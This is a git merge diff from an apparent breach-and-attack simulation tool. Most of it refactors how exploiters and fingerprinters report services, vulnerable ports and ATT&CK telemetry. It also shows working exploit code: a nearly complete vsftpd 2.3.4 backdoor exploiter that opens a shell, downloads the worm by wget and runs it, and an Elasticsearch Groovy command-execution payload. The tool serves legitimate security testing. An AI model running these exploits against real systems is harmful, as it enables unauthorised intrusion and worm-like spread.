Merge branch 'develop' into feature/325-notification-when-done
This commit is contained in:
commit
6480cfe232
|
@ -8,3 +8,14 @@ class ScanStatus(Enum):
|
|||
SCANNED = 1
|
||||
# Technique was attempted and succeeded
|
||||
USED = 2
|
||||
|
||||
# Dict that describes what BITS job was used for
|
||||
BITS_UPLOAD_STRING = {"usage": "BITS job was used to upload monkey to a remote system."}
|
||||
|
||||
|
||||
def format_time(time):
|
||||
return "%s-%s %s:%s:%s" % (time.date().month,
|
||||
time.date().day,
|
||||
time.time().hour,
|
||||
time.time().minute,
|
||||
time.time().second)
|
||||
|
|
|
@ -0,0 +1,10 @@
|
|||
|
||||
|
||||
# abstract, static method decorator
|
||||
class abstractstatic(staticmethod):
|
||||
__slots__ = ()
|
||||
|
||||
def __init__(self, function):
|
||||
super(abstractstatic, self).__init__(function)
|
||||
function.__isabstractmethod__ = True
|
||||
__isabstractmethod__ = True
|
|
@ -1,4 +1,4 @@
|
|||
from abc import ABCMeta, abstractmethod
|
||||
from abc import ABCMeta, abstractmethod, abstractproperty
|
||||
import infection_monkey.config
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
|
||||
|
@ -13,9 +13,15 @@ class HostExploiter(object):
|
|||
# Usual values are 'vulnerability' or 'brute_force'
|
||||
EXPLOIT_TYPE = ExploitType.VULNERABILITY
|
||||
|
||||
@abstractproperty
|
||||
def _EXPLOITED_SERVICE(self):
|
||||
pass
|
||||
|
||||
def __init__(self, host):
|
||||
self._config = infection_monkey.config.WormConfiguration
|
||||
self._exploit_info = {}
|
||||
self._exploit_info = {'display_name': self._EXPLOITED_SERVICE,
|
||||
'vulnerable_urls': [],
|
||||
'vulnerable_ports': []}
|
||||
self._exploit_attempts = []
|
||||
self.host = host
|
||||
|
||||
|
@ -37,6 +43,12 @@ class HostExploiter(object):
|
|||
def exploit_host(self):
|
||||
raise NotImplementedError()
|
||||
|
||||
def add_vuln_url(self, url):
|
||||
self._exploit_info['vulnerable_urls'].append(url)
|
||||
|
||||
def add_vuln_port(self, port):
|
||||
self._exploit_info['vulnerable_ports'].append(port)
|
||||
|
||||
|
||||
from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
|
||||
from infection_monkey.exploit.wmiexec import WmiExploiter
|
||||
|
|
|
@ -11,6 +11,8 @@ from infection_monkey.exploit.web_rce import WebRCE
|
|||
from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
|
||||
DOWNLOAD_TIMEOUT
|
||||
from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE
|
||||
from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem
|
||||
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
|
||||
|
||||
import re
|
||||
|
||||
|
@ -27,6 +29,7 @@ class ElasticGroovyExploiter(WebRCE):
|
|||
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
|
||||
|
||||
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||
_EXPLOITED_SERVICE = 'Elastic search'
|
||||
|
||||
def __init__(self, host):
|
||||
super(ElasticGroovyExploiter, self).__init__(host)
|
||||
|
@ -58,6 +61,12 @@ class ElasticGroovyExploiter(WebRCE):
|
|||
return False
|
||||
return result[0]
|
||||
|
||||
def upload_monkey(self, url, commands=None):
|
||||
result = super(ElasticGroovyExploiter, self).upload_monkey(url, commands)
|
||||
if 'windows' in self.host.os['type'] and result:
|
||||
VictimHostTelem("T1197", ScanStatus.USED.value, self.host, BITS_UPLOAD_STRING).send()
|
||||
return result
|
||||
|
||||
def get_results(self, response):
|
||||
"""
|
||||
Extracts the result data from our attack
|
||||
|
|
|
@ -21,6 +21,7 @@ LOG = logging.getLogger(__name__)
|
|||
|
||||
class HadoopExploiter(WebRCE):
|
||||
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||
_EXPLOITED_SERVICE = 'Hadoop'
|
||||
HADOOP_PORTS = [["8088", False]]
|
||||
# How long we have our http server open for downloads in seconds
|
||||
DOWNLOAD_TIMEOUT = 60
|
||||
|
|
|
@ -16,6 +16,7 @@ LOG = logging.getLogger(__name__)
|
|||
|
||||
class MSSQLExploiter(HostExploiter):
|
||||
|
||||
_EXPLOITED_SERVICE = 'MSSQL'
|
||||
_TARGET_OS_TYPE = ['windows']
|
||||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||
LOGIN_TIMEOUT = 15
|
||||
|
|
|
@ -17,6 +17,8 @@ from infection_monkey.network.tools import check_tcp_port
|
|||
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||
from infection_monkey.utils import utf_to_ascii
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem
|
||||
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
|
@ -237,6 +239,7 @@ class RdpExploiter(HostExploiter):
|
|||
|
||||
_TARGET_OS_TYPE = ['windows']
|
||||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||
_EXPLOITED_SERVICE = 'RDP'
|
||||
|
||||
def __init__(self, host):
|
||||
super(RdpExploiter, self).__init__(host)
|
||||
|
@ -312,6 +315,9 @@ class RdpExploiter(HostExploiter):
|
|||
client_factory.done_event.wait()
|
||||
|
||||
if client_factory.success:
|
||||
if not self._config.rdp_use_vbs_download:
|
||||
VictimHostTelem("T1197", ScanStatus.USED.value, self.host, BITS_UPLOAD_STRING).send()
|
||||
self.add_vuln_port(RDP_PORT)
|
||||
exploited = True
|
||||
self.report_login_attempt(True, user, password)
|
||||
break
|
||||
|
|
|
@ -4,7 +4,6 @@ import posixpath
|
|||
import re
|
||||
import time
|
||||
from io import BytesIO
|
||||
from os import path
|
||||
|
||||
import impacket.smbconnection
|
||||
from impacket.nmb import NetBIOSError
|
||||
|
@ -35,6 +34,7 @@ class SambaCryExploiter(HostExploiter):
|
|||
"""
|
||||
|
||||
_TARGET_OS_TYPE = ['linux']
|
||||
_EXPLOITED_SERVICE = "Samba"
|
||||
# Name of file which contains the monkey's commandline
|
||||
SAMBACRY_COMMANDLINE_FILENAME = "monkey_commandline.txt"
|
||||
# Name of file which contains the runner's result
|
||||
|
@ -51,6 +51,8 @@ class SambaCryExploiter(HostExploiter):
|
|||
SAMBACRY_MONKEY_COPY_FILENAME_32 = "monkey32_2"
|
||||
# Monkey copy filename on share (64 bit)
|
||||
SAMBACRY_MONKEY_COPY_FILENAME_64 = "monkey64_2"
|
||||
# Supported samba port
|
||||
SAMBA_PORT = 445
|
||||
|
||||
def __init__(self, host):
|
||||
super(SambaCryExploiter, self).__init__(host)
|
||||
|
@ -80,6 +82,11 @@ class SambaCryExploiter(HostExploiter):
|
|||
trigger_result is not None, creds['username'], creds['password'], creds['lm_hash'], creds['ntlm_hash'])
|
||||
if trigger_result is not None:
|
||||
successfully_triggered_shares.append((share, trigger_result))
|
||||
url = "smb://%(username)s@%(host)s:%(port)s/%(share_name)s" % {'username': creds['username'],
|
||||
'host': self.host.ip_addr,
|
||||
'port': self.SAMBA_PORT,
|
||||
'share_name': share}
|
||||
self.add_vuln_url(url)
|
||||
self.clean_share(self.host.ip_addr, share, writable_shares_creds_dict[share])
|
||||
|
||||
for share, fullpath in successfully_triggered_shares:
|
||||
|
@ -89,6 +96,7 @@ class SambaCryExploiter(HostExploiter):
|
|||
LOG.info(
|
||||
"Shares triggered successfully on host %s: %s" % (
|
||||
self.host.ip_addr, str(successfully_triggered_shares)))
|
||||
self.add_vuln_port(self.SAMBA_PORT)
|
||||
return True
|
||||
else:
|
||||
LOG.info("No shares triggered successfully on host %s" % self.host.ip_addr)
|
||||
|
|
|
@ -26,6 +26,7 @@ class ShellShockExploiter(HostExploiter):
|
|||
}
|
||||
|
||||
_TARGET_OS_TYPE = ['linux']
|
||||
_EXPLOITED_SERVICE = 'Bash'
|
||||
|
||||
def __init__(self, host):
|
||||
super(ShellShockExploiter, self).__init__(host)
|
||||
|
@ -143,7 +144,6 @@ class ShellShockExploiter(HostExploiter):
|
|||
if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)):
|
||||
LOG.info("Log file does not exist, monkey might not have run")
|
||||
continue
|
||||
|
||||
return True
|
||||
|
||||
return False
|
||||
|
|
|
@ -17,6 +17,7 @@ LOG = getLogger(__name__)
|
|||
class SmbExploiter(HostExploiter):
|
||||
_TARGET_OS_TYPE = ['windows']
|
||||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||
_EXPLOITED_SERVICE = 'SMB'
|
||||
KNOWN_PROTOCOLS = {
|
||||
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
|
||||
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
|
||||
|
@ -68,6 +69,8 @@ class SmbExploiter(HostExploiter):
|
|||
LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)",
|
||||
self.host, user, password, lm_hash, ntlm_hash)
|
||||
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
|
||||
self.add_vuln_port("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1],
|
||||
SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1]))
|
||||
exploited = True
|
||||
break
|
||||
else:
|
||||
|
@ -137,4 +140,6 @@ class SmbExploiter(HostExploiter):
|
|||
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||
remote_full_path, self.host, cmdline)
|
||||
|
||||
self.add_vuln_port("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1],
|
||||
SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1]))
|
||||
return True
|
||||
|
|
|
@ -22,6 +22,7 @@ TRANSFER_UPDATE_RATE = 15
|
|||
class SSHExploiter(HostExploiter):
|
||||
_TARGET_OS_TYPE = ['linux', None]
|
||||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||
_EXPLOITED_SERVICE = 'SSH'
|
||||
|
||||
def __init__(self, host):
|
||||
super(SSHExploiter, self).__init__(host)
|
||||
|
@ -81,6 +82,7 @@ class SSHExploiter(HostExploiter):
|
|||
LOG.debug("Successfully logged in %r using SSH (%s : %s)",
|
||||
self.host, user, curpass)
|
||||
exploited = True
|
||||
self.add_vuln_port(port)
|
||||
self.report_login_attempt(True, user, curpass)
|
||||
break
|
||||
|
||||
|
|
|
@ -21,6 +21,7 @@ DOWNLOAD_TIMEOUT = 300
|
|||
|
||||
class Struts2Exploiter(WebRCE):
|
||||
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||
_EXPLOITED_SERVICE = 'Struts2'
|
||||
|
||||
def __init__(self, host):
|
||||
super(Struts2Exploiter, self).__init__(host, None)
|
||||
|
|
|
@ -4,39 +4,34 @@
|
|||
only vulnerable version is "2.3.4"
|
||||
"""
|
||||
|
||||
|
||||
import StringIO
|
||||
import logging
|
||||
import paramiko
|
||||
import socket
|
||||
import time
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||
from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
|
||||
from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT
|
||||
from infection_monkey.network.tools import check_tcp_port
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
from logging import getLogger
|
||||
|
||||
LOG = getLogger(__name__)
|
||||
|
||||
__author__ = 'D3fa1t'
|
||||
|
||||
FTP_PORT = 21 # port at which vsftpd runs
|
||||
BACKDOOR_PORT = 6200 # backdoor port
|
||||
RECV_128 = 128 # In Bytes
|
||||
UNAME_M = "uname -m"
|
||||
ULIMIT_V = "ulimit -v " # To increase the memory limit
|
||||
UNLIMITED = "unlimited;"
|
||||
USERNAME = b'USER D3fa1t:)' # Ftp Username should end with :) to trigger the backdoor
|
||||
PASSWORD = b'PASS please' # Ftp Password
|
||||
FTP_TIME_BUFFER = 1 # In seconds
|
||||
FTP_PORT = 21 # port at which vsftpd runs
|
||||
BACKDOOR_PORT = 6200 # backdoor port
|
||||
RECV_128 = 128 # In Bytes
|
||||
UNAME_M = "uname -m"
|
||||
ULIMIT_V = "ulimit -v " # To increase the memory limit
|
||||
UNLIMITED = "unlimited;"
|
||||
USERNAME = b'USER D3fa1t:)' # Ftp Username should end with :) to trigger the backdoor
|
||||
PASSWORD = b'PASS please' # Ftp Password
|
||||
FTP_TIME_BUFFER = 1 # In seconds
|
||||
|
||||
|
||||
class VSFTPDExploiter(HostExploiter):
|
||||
_TARGET_OS_TYPE = ['linux']
|
||||
_EXPLOITED_SERVICE = 'VSFTPD'
|
||||
|
||||
def __init__ (self, host):
|
||||
def __init__(self, host):
|
||||
self._update_timestamp = 0
|
||||
super(VSFTPDExploiter, self).__init__(host)
|
||||
self.skip_exist = self._config.skip_exploit_if_file_exist
|
||||
|
@ -46,13 +41,13 @@ class VSFTPDExploiter(HostExploiter):
|
|||
s.connect((ip_addr, port))
|
||||
return True
|
||||
except socket.error as e:
|
||||
LOG.error('Failed to connect to %s', self.host.ip_addr)
|
||||
LOG.error('Failed to connect to %s', self.host.ip_addr)
|
||||
return False
|
||||
|
||||
def socket_send_recv(self, s, message):
|
||||
try:
|
||||
s.send(message)
|
||||
return s.recv(RECV_128).decode('utf-8')
|
||||
return s.recv(RECV_128).decode('utf-8')
|
||||
except socket.error as e:
|
||||
LOG.error('Failed to send payload to %s', self.host.ip_addr)
|
||||
return False
|
||||
|
@ -60,35 +55,35 @@ class VSFTPDExploiter(HostExploiter):
|
|||
def socket_send(self, s, message):
|
||||
try:
|
||||
s.send(message)
|
||||
return True
|
||||
return True
|
||||
except socket.error as e:
|
||||
LOG.error('Failed to send payload to %s', self.host.ip_addr)
|
||||
return False
|
||||
|
||||
|
||||
def exploit_host(self):
|
||||
LOG.info("Attempting to trigger the Backdoor..")
|
||||
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
|
||||
if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT):
|
||||
ftp_socket.recv(RECV_128).decode('utf-8')
|
||||
|
||||
|
||||
if self.socket_send_recv(ftp_socket, USERNAME + '\n'):
|
||||
time.sleep(FTP_TIME_BUFFER)
|
||||
self.socket_send(ftp_socket, PASSWORD + '\n')
|
||||
ftp_socket.close()
|
||||
LOG.info('Backdoor Enabled, Now we can run commands')
|
||||
else:
|
||||
LOG.error('Failed to trigger backdoor on %s' , self.host.ip_addr)
|
||||
return False
|
||||
|
||||
LOG.error('Failed to trigger backdoor on %s', self.host.ip_addr)
|
||||
return False
|
||||
|
||||
LOG.info('Attempting to connect to backdoor...')
|
||||
backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT):
|
||||
LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr)
|
||||
|
||||
uname_m = str.encode(UNAME_M + '\n')
|
||||
response = self.socket_send_recv(backdoor_socket, uname_m)
|
||||
|
||||
uname_m = str.encode(UNAME_M + '\n')
|
||||
response = self.socket_send_recv(backdoor_socket, uname_m)
|
||||
|
||||
if response:
|
||||
LOG.info('Response for uname -m: %s', response)
|
||||
|
@ -96,7 +91,7 @@ class VSFTPDExploiter(HostExploiter):
|
|||
# command execution is successful
|
||||
self.host.os['machine'] = response.lower().strip()
|
||||
self.host.os['type'] = 'linux'
|
||||
else :
|
||||
else:
|
||||
LOG.info("Failed to execute command uname -m on victim %r ", self.host)
|
||||
|
||||
src_path = get_target_monkey(self.host)
|
||||
|
@ -109,8 +104,8 @@ class VSFTPDExploiter(HostExploiter):
|
|||
# Create a http server to host the monkey
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
|
||||
dropper_target_path_linux = self._config.dropper_target_path_linux
|
||||
LOG.info("Download link for monkey is %s", http_path)
|
||||
|
||||
LOG.info("Download link for monkey is %s", http_path)
|
||||
|
||||
# Upload the monkey to the machine
|
||||
monkey_path = dropper_target_path_linux
|
||||
download_command = WGET_HTTP_UPLOAD % {'monkey_path': monkey_path, 'http_path': http_path}
|
||||
|
@ -121,7 +116,7 @@ class VSFTPDExploiter(HostExploiter):
|
|||
else:
|
||||
LOG.error('Failed to download monkey at %s', self.host.ip_addr)
|
||||
return False
|
||||
|
||||
|
||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
|
||||
|
@ -136,14 +131,13 @@ class VSFTPDExploiter(HostExploiter):
|
|||
run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters}
|
||||
|
||||
# Set unlimited to memory
|
||||
run_monkey = ULIMIT_V + UNLIMITED + run_monkey # we don't have to revert the ulimit because it just applies to the shell obtained by our exploit
|
||||
# we don't have to revert the ulimit because it just applies to the shell obtained by our exploit
|
||||
run_monkey = ULIMIT_V + UNLIMITED + run_monkey
|
||||
run_monkey = str.encode(str(run_monkey) + '\n')
|
||||
time.sleep(FTP_TIME_BUFFER)
|
||||
if backdoor_socket.send(run_monkey):
|
||||
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, run_monkey)
|
||||
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux,
|
||||
self.host, run_monkey)
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
|
||||
|
||||
|
|
|
@ -7,6 +7,8 @@ from infection_monkey.exploit import HostExploiter
|
|||
from infection_monkey.model import *
|
||||
from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools
|
||||
from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service
|
||||
from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem
|
||||
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
||||
|
@ -207,13 +209,12 @@ class WebRCE(HostExploiter):
|
|||
"""
|
||||
for url in urls:
|
||||
if self.check_if_exploitable(url):
|
||||
self.add_vuln_url(url)
|
||||
self.vulnerable_urls.append(url)
|
||||
if stop_checking:
|
||||
break
|
||||
if not self.vulnerable_urls:
|
||||
LOG.info("No vulnerable urls found, skipping.")
|
||||
# We add urls to param used in reporting
|
||||
self._exploit_info['vulnerable_urls'] = self.vulnerable_urls
|
||||
|
||||
def get_host_arch(self, url):
|
||||
"""
|
||||
|
@ -307,6 +308,7 @@ class WebRCE(HostExploiter):
|
|||
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
|
||||
LOG.info("Powershell not found in host. Using bitsadmin to download.")
|
||||
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
|
||||
VictimHostTelem("T1197", ScanStatus.USED.value, self.host, BITS_UPLOAD_STRING).send()
|
||||
resp = self.exploit(url, backup_command)
|
||||
return resp
|
||||
|
||||
|
|
|
@ -44,6 +44,7 @@ HEADERS = {
|
|||
|
||||
class WebLogicExploiter(WebRCE):
|
||||
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||
_EXPLOITED_SERVICE = 'Weblogic'
|
||||
|
||||
def __init__(self, host):
|
||||
super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh',
|
||||
|
@ -67,6 +68,7 @@ class WebLogicExploiter(WebRCE):
|
|||
except Exception as e:
|
||||
print('[!] Connection Error')
|
||||
print(e)
|
||||
|
||||
return True
|
||||
|
||||
def add_vulnerable_urls(self, urls, stop_checking=False):
|
||||
|
|
|
@ -17,6 +17,7 @@ LOG = logging.getLogger(__name__)
|
|||
class WmiExploiter(HostExploiter):
|
||||
_TARGET_OS_TYPE = ['windows']
|
||||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||
_EXPLOITED_SERVICE = 'WMI (Windows Management Instrumentation)'
|
||||
|
||||
def __init__(self, host):
|
||||
super(WmiExploiter, self).__init__(host)
|
||||
|
@ -103,6 +104,8 @@ class WmiExploiter(HostExploiter):
|
|||
if (0 != result.ProcessId) and (0 == result.ReturnValue):
|
||||
LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
|
||||
remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline)
|
||||
|
||||
self.add_vuln_port(port='unknown')
|
||||
success = True
|
||||
else:
|
||||
LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
|
||||
|
|
|
@ -158,7 +158,7 @@ class InfectionMonkey(object):
|
|||
finger.get_host_fingerprint(machine)
|
||||
|
||||
ControlClient.send_telemetry('scan', {'machine': machine.as_dict(),
|
||||
})
|
||||
'service_count': len(machine.services)})
|
||||
|
||||
# skip machines that we've already exploited
|
||||
if machine in self._exploited_machines:
|
||||
|
@ -186,11 +186,9 @@ class InfectionMonkey(object):
|
|||
for exploiter in [exploiter(machine) for exploiter in self._exploiters]:
|
||||
if self.try_exploiting(machine, exploiter):
|
||||
host_exploited = True
|
||||
VictimHostTelem('T1210', ScanStatus.USED.value, machine=machine).send()
|
||||
break
|
||||
if not host_exploited:
|
||||
self._fail_exploitation_machines.add(machine)
|
||||
VictimHostTelem('T1210', ScanStatus.SCANNED.value, machine=machine).send()
|
||||
if not self._keep_running:
|
||||
break
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
from abc import ABCMeta, abstractmethod
|
||||
from abc import ABCMeta, abstractmethod, abstractproperty
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
|
@ -14,10 +14,20 @@ class HostScanner(object):
|
|||
class HostFinger(object):
|
||||
__metaclass__ = ABCMeta
|
||||
|
||||
@abstractproperty
|
||||
def _SCANNED_SERVICE(self):
|
||||
pass
|
||||
|
||||
def init_service(self, services, service_key, port):
|
||||
services[service_key] = {}
|
||||
services[service_key]['display_name'] = self._SCANNED_SERVICE
|
||||
services[service_key]['port'] = port
|
||||
|
||||
@abstractmethod
|
||||
def get_host_fingerprint(self, host):
|
||||
raise NotImplementedError()
|
||||
|
||||
|
||||
from infection_monkey.network.ping_scanner import PingScanner
|
||||
from infection_monkey.network.tcp_scanner import TcpScanner
|
||||
from infection_monkey.network.smbfinger import SMBFinger
|
||||
|
@ -26,4 +36,4 @@ from infection_monkey.network.httpfinger import HTTPFinger
|
|||
from infection_monkey.network.elasticfinger import ElasticFinger
|
||||
from infection_monkey.network.mysqlfinger import MySQLFinger
|
||||
from infection_monkey.network.info import local_ips, get_free_tcp_port
|
||||
from infection_monkey.network.mssql_fingerprint import MSSQLFinger
|
||||
from infection_monkey.network.mssql_fingerprint import MSSQLFinger
|
||||
|
|
|
@ -20,6 +20,7 @@ class ElasticFinger(HostFinger):
|
|||
"""
|
||||
Fingerprints elastic search clusters, only on port 9200
|
||||
"""
|
||||
_SCANNED_SERVICE = 'Elastic search'
|
||||
|
||||
def __init__(self):
|
||||
self._config = infection_monkey.config.WormConfiguration
|
||||
|
@ -35,7 +36,7 @@ class ElasticFinger(HostFinger):
|
|||
url = 'http://%s:%s/' % (host.ip_addr, ES_PORT)
|
||||
with closing(requests.get(url, timeout=ES_HTTP_TIMEOUT)) as req:
|
||||
data = json.loads(req.text)
|
||||
host.services[ES_SERVICE] = {}
|
||||
self.init_service(host.services, ES_SERVICE, ES_PORT)
|
||||
host.services[ES_SERVICE]['cluster_name'] = data['cluster_name']
|
||||
host.services[ES_SERVICE]['name'] = data['name']
|
||||
host.services[ES_SERVICE]['version'] = data['version']['number']
|
||||
|
|
|
@ -10,6 +10,7 @@ class HTTPFinger(HostFinger):
|
|||
"""
|
||||
Goal is to recognise HTTP servers, where what we currently care about is apache.
|
||||
"""
|
||||
_SCANNED_SERVICE = 'HTTP'
|
||||
|
||||
def __init__(self):
|
||||
self._config = infection_monkey.config.WormConfiguration
|
||||
|
@ -36,7 +37,7 @@ class HTTPFinger(HostFinger):
|
|||
with closing(head(url, verify=False, timeout=1)) as req:
|
||||
server = req.headers.get('Server')
|
||||
ssl = True if 'https://' in url else False
|
||||
host.services['tcp-' + port[1]] = {}
|
||||
self.init_service(host.services, ('tcp-' + port[1]), port[0])
|
||||
host.services['tcp-' + port[1]]['name'] = 'http'
|
||||
host.services['tcp-' + port[1]]['data'] = (server,ssl)
|
||||
LOG.info("Port %d is open on host %s " % (port[0], host))
|
||||
|
|
|
@ -16,7 +16,7 @@ class MSSQLFinger(HostFinger):
|
|||
SQL_BROWSER_DEFAULT_PORT = 1434
|
||||
BUFFER_SIZE = 4096
|
||||
TIMEOUT = 5
|
||||
SERVICE_NAME = 'MSSQL'
|
||||
_SCANNED_SERVICE = 'MSSQL'
|
||||
|
||||
def __init__(self):
|
||||
self._config = infection_monkey.config.WormConfiguration
|
||||
|
@ -63,7 +63,7 @@ class MSSQLFinger(HostFinger):
|
|||
sock.close()
|
||||
return False
|
||||
|
||||
host.services[self.SERVICE_NAME] = {}
|
||||
self.init_service(host.services, self._SCANNED_SERVICE, MSSQLFinger.SQL_BROWSER_DEFAULT_PORT)
|
||||
|
||||
# Loop through the server data
|
||||
instances_list = data[3:].decode().split(';;')
|
||||
|
@ -71,12 +71,11 @@ class MSSQLFinger(HostFinger):
|
|||
for instance in instances_list:
|
||||
instance_info = instance.split(';')
|
||||
if len(instance_info) > 1:
|
||||
host.services[self.SERVICE_NAME][instance_info[1]] = {}
|
||||
host.services[self._SCANNED_SERVICE][instance_info[1]] = {}
|
||||
for i in range(1, len(instance_info), 2):
|
||||
# Each instance's info is nested under its own name, if there are multiple instances
|
||||
# each will appear under its own name
|
||||
host.services[self.SERVICE_NAME][instance_info[1]][instance_info[i - 1]] = instance_info[i]
|
||||
|
||||
host.services[self._SCANNED_SERVICE][instance_info[1]][instance_info[i - 1]] = instance_info[i]
|
||||
# Close the socket
|
||||
sock.close()
|
||||
|
||||
|
|
|
@ -8,7 +8,6 @@ from infection_monkey.network.tools import struct_unpack_tracker, struct_unpack_
|
|||
|
||||
MYSQL_PORT = 3306
|
||||
SQL_SERVICE = 'mysqld-3306'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
|
@ -16,7 +15,7 @@ class MySQLFinger(HostFinger):
|
|||
"""
|
||||
Fingerprints mysql databases, only on port 3306
|
||||
"""
|
||||
|
||||
_SCANNED_SERVICE = 'MySQL'
|
||||
SOCKET_TIMEOUT = 0.5
|
||||
HEADER_SIZE = 4 # in bytes
|
||||
|
||||
|
@ -52,14 +51,13 @@ class MySQLFinger(HostFinger):
|
|||
|
||||
version, curpos = struct_unpack_tracker_string(data, curpos) # special coded to solve string parsing
|
||||
version = version[0]
|
||||
host.services[SQL_SERVICE] = {}
|
||||
self.init_service(host.services, SQL_SERVICE, MYSQL_PORT)
|
||||
host.services[SQL_SERVICE]['version'] = version
|
||||
version = version.split('-')[0].split('.')
|
||||
host.services[SQL_SERVICE]['major_version'] = version[0]
|
||||
host.services[SQL_SERVICE]['minor_version'] = version[1]
|
||||
host.services[SQL_SERVICE]['build_version'] = version[2]
|
||||
thread_id, curpos = struct_unpack_tracker(data, curpos, "<I") # ignore thread id
|
||||
|
||||
# protocol parsing taken from
|
||||
# https://nmap.org/nsedoc/scripts/mysql-info.html
|
||||
if protocol == 10:
|
||||
|
|
|
@ -1,11 +1,9 @@
|
|||
import logging
|
||||
import time
|
||||
|
||||
from common.network.network_range import *
|
||||
from infection_monkey.config import WormConfiguration
|
||||
from infection_monkey.network.info import local_ips, get_interfaces_ranges
|
||||
from infection_monkey.model import VictimHost
|
||||
from infection_monkey.network import HostScanner
|
||||
from infection_monkey.network import TcpScanner, PingScanner
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
@ -66,7 +64,6 @@ class NetworkScanner(object):
|
|||
def get_victim_machines(self, max_find=5, stop_callback=None):
|
||||
"""
|
||||
Finds machines according to the ranges specified in the object
|
||||
:param scan_type: A hostscanner class, will be instanced and used to scan for new machines
|
||||
:param max_find: Max number of victims to find regardless of ranges
|
||||
:param stop_callback: A callback to check at any point if we should stop scanning
|
||||
:return: yields a sequence of VictimHost instances
|
||||
|
|
|
@ -20,6 +20,9 @@ LOG = logging.getLogger(__name__)
|
|||
|
||||
|
||||
class PingScanner(HostScanner, HostFinger):
|
||||
|
||||
_SCANNED_SERVICE = ''
|
||||
|
||||
def __init__(self):
|
||||
self._config = infection_monkey.config.WormConfiguration
|
||||
self._devnull = open(os.devnull, "w")
|
||||
|
|
|
@ -100,6 +100,8 @@ class SMBSessionFingerData(Packet):
|
|||
|
||||
|
||||
class SMBFinger(HostFinger):
|
||||
_SCANNED_SERVICE = 'SMB'
|
||||
|
||||
def __init__(self):
|
||||
from infection_monkey.config import WormConfiguration
|
||||
self._config = WormConfiguration
|
||||
|
@ -112,7 +114,7 @@ class SMBFinger(HostFinger):
|
|||
s.settimeout(0.7)
|
||||
s.connect((host.ip_addr, SMB_PORT))
|
||||
|
||||
host.services[SMB_SERVICE] = {}
|
||||
self.init_service(host.services, SMB_SERVICE, SMB_PORT)
|
||||
|
||||
h = SMBHeader(cmd="\x72", flag1="\x18", flag2="\x53\xc8")
|
||||
n = SMBNego(data=SMBNegoFingerData())
|
||||
|
@ -150,7 +152,6 @@ class SMBFinger(HostFinger):
|
|||
host.os['version'] = os_version
|
||||
else:
|
||||
